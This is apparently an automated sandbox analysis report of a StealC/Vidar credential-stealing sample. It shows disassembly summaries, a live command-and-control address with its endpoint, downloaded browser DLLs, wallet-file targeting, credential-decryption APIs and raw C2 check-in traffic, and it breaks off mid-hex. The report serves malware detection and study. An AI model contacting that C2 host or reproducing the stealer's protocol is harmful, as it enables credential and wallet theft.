Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$ExecuteExitFileModuleNameProcessShelllstrcatlstrlen
String ID: <
API String ID: 1148417306-4251816714
Opcode ID: 6d7c1dbdbb28ebda4957a1800eca0bb71bdba0fb53e8863cdc29d41d7168fbb0
Instruction ID: 98b0ab6244a31fda46e55a3b7cb50770196a52d68ddfbe05a36dc999de3ce33a
Opcode Fuzzy Hash: 6d7c1dbdbb28ebda4957a1800eca0bb71bdba0fb53e8863cdc29d41d7168fbb0
Instruction Fuzzy Hash: C6314DB1901218AADB58EB94DC82FDEBB78FF14300F404199F246A61D1DF746B49CF56

Function 008087C0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00810E28,00000000,?), ref: 0080882F
RtlAllocateHeap.NTDLL(00000000), ref: 00808836
wsprintfA.USER32 ref: 00808850

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Strings

%dx%d, xrefs: 00808847

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: 858226a29abefa05005cb5e3dd3c56e00d3b317f022b4b5743a8459c75ccd4d1
Instruction ID: 320bfe460db7a936dc41dfc522b2bc6ff0a960d9fd29d432163a5e810acfdfd1
Opcode Fuzzy Hash: 858226a29abefa05005cb5e3dd3c56e00d3b317f022b4b5743a8459c75ccd4d1
Instruction Fuzzy Hash: 6621FCB1A44218AFDB04DFD8DD49FAEBBB8FB58B11F104119F645E7280C779A9018BA1

Function 00808D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,0080951E,00000000), ref: 00808D5B
RtlAllocateHeap.NTDLL(00000000), ref: 00808D62
wsprintfW.USER32 ref: 00808D78

Strings

%hs, xrefs: 00808D6F

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: 1ccf33564fa8651e7a362025004dce604d47c876b148e5038462310b680a7b94
Instruction ID: 9b1967f459c88069bc59b63b1692f07222e1319cd1b34be2a10fc42cfe693caf
Opcode Fuzzy Hash: 1ccf33564fa8651e7a362025004dce604d47c876b148e5038462310b680a7b94
Instruction Fuzzy Hash: 34E08CB1A44208FBC700DFD4DC0EE69B7BCEB14702F000094FD4AC7280DA719E018B92

Function 007FD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0080A740: lstrcpy.KERNEL32(00810E17,00000000), ref: 0080A788

Part of subcall function 0080A9B0: lstrlen.KERNEL32(?,01359198,?,\Monero\wallet.keys,00810E17), ref: 0080A9C5
Part of subcall function 0080A9B0: lstrcpy.KERNEL32(00000000), ref: 0080AA04
Part of subcall function 0080A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0080AA12

Part of subcall function 0080A8A0: lstrcpy.KERNEL32(?,00810E17), ref: 0080A905

Part of subcall function 00808B60: GetSystemTime.KERNEL32(00810E1A,0135A690,008105AE,?,?,007F13F9,?,0000001A,00810E1A,00000000,?,01359198,?,\Monero\wallet.keys,00810E17), ref: 00808B86

Part of subcall function 0080A920: lstrcpy.KERNEL32(00000000,?), ref: 0080A972
Part of subcall function 0080A920: lstrcat.KERNEL32(00000000), ref: 0080A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 007FD481
lstrlen.KERNEL32(00000000), ref: 007FD698
lstrlen.KERNEL32(00000000), ref: 007FD6AC
DeleteFileA.KERNEL32(00000000), ref: 007FD72B

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: df0375341700a32ac947e8f3b03ce5b5c132aeb1bca10cf873077eeb9e31e793
Instruction ID: 77c891070c406f6d66d9e4b53ca58c00a379ac78a0692cb9fbef6706d1795798
Opcode Fuzzy Hash: df0375341700a32ac947e8f3b03ce5b5c132aeb1bca10cf873077eeb9e31e793
Instruction Fuzzy Hash: CB91F4729102189ADB48EBA8DD96EEE7338FF14300F508168F557E60D1EF346A49CB63

Function 00803560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: 2049da11956eef9c27d75a17a7dfed12ce76e00dd795500b9a7a8763b564aaa4
Instruction ID: 2f071aee39918960bfbe263cf1b45a13715a0f59fd3a4a16e1c4e0e38678982a
Opcode Fuzzy Hash: 2049da11956eef9c27d75a17a7dfed12ce76e00dd795500b9a7a8763b564aaa4
Instruction Fuzzy Hash: 21412D71D10209ABDB48EFE4DC45AFEB778FF54704F008018E526A62D0DB75AA46DFA2

Function 008092E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00803AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,00803AEE,?), ref: 008092FC
GetFileSizeEx.KERNEL32(000000FF,00803AEE), ref: 00809319
CloseHandle.KERNEL32(000000FF), ref: 00809327

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 32e722622cb2853673bd99e0bd74fcf45b8594782c13bc6e7bfc0ee9e305f43b
Instruction ID: a44403a75701e49ceff0fdea21d99fa6514d9b2a4256cfacdfcfc31aeebea953
Opcode Fuzzy Hash: 32e722622cb2853673bd99e0bd74fcf45b8594782c13bc6e7bfc0ee9e305f43b
Instruction Fuzzy Hash: 9EF01935E44208ABDB10DBE0EC49B9E77B9EB58710F118254F691E72C0D670A6018F40

Function 0080C742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0080C74E

Part of subcall function 0080BF9F: __amsg_exit.LIBCMT ref: 0080BFAF

__getptd.LIBCMT ref: 0080C765
__amsg_exit.LIBCMT ref: 0080C773
__updatetlocinfoEx_nolock.LIBCMT ref: 0080C797

Memory Dump Source

Source File: 00000000.00000002.2092930576.00000000007F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 007F0000, based on PE: true

Associated: 00000000.00000002.2092897452.00000000007F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000084A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000875000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000878000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000882000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008A1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008D2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008DF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.000000000090E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.0000000000995000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2092930576.00000000009BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000A4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000BD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CB4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CE0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093334478.0000000000CEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093631688.0000000000CEF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093741147.0000000000E8E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2093762940.0000000000E8F000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7f0000_file.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__updatetlocinfo
String ID:
API String ID: 300741435-0
Opcode ID: e11670e3e1674696b50f8fe79be03eace80747ec2199bd8ccbd2f4bef76632ff
Instruction ID: 95b1e54e17a8c1d3cec7da5dd9b7e371f9aa57e423f1440075d26cda3fa23874
Opcode Fuzzy Hash: e11670e3e1674696b50f8fe79be03eace80747ec2199bd8ccbd2f4bef76632ff
Instruction Fuzzy Hash: 49F06732A427119BE7A4BFBC9C06B8E33A0FF00720F204249F415E62D2CF6459819E57

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/nss3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/mozglue.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/softokn3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/freebl3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/sqlite3.dll	URL Reputation: Label: malware
Source: http://185.215.113.37/0d60be0de163924d/msvcp140.dll	URL Reputation: Label: malware

Source: 0.2.file.exe.7f0000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}
Source: 0.2.file.exe.7f0000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_007F9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007FC820 lstrlen,CryptStringToBinaryA,PK11_GetInternalKeySlot,PK11_Authenticate,PK11SDR_Decrypt,lstrcat,lstrcat,PK11_FreeSlot,lstrcat,	0_2_007FC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_007F7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_007F9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_007F9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00808EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00808EA0

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49730 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.37:80 -> 192.168.2.4:49730
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49730 -> 185.215.113.37:80

Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php
Source: Malware configuration extractor	URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHDAAKJEGCFCAKEBKJJEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 35 36 43 35 30 34 42 42 45 45 38 32 30 37 38 35 38 38 37 32 30 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 47 48 44 41 41 4b 4a 45 47 43 46 43 41 4b 45 42 4b 4a 4a 45 2d 2d 0d 0a Data Ascii: ------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="hwid"756C504BBEE82078588720------GHDAAKJEGCFCAKEBKJJEContent-Disposition: form-data; name="build"doma------GHDAAKJEGCFCAKEBKJJE--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGIDHost: 185.215.113.37Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 36 37 35 32 35 39 37 39 63 65 30 39 63 65 38 63 31 62 35 36 38 39 35 36 30 61 38 61 62 62 37 36 35 32 31 30 61 34 35 66 65 35 36 32 32 61 30 39 38 66 30 64 63 65 66 31 63 37 36 66 65 35 61 36 36 33 65 36 31 36 37 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 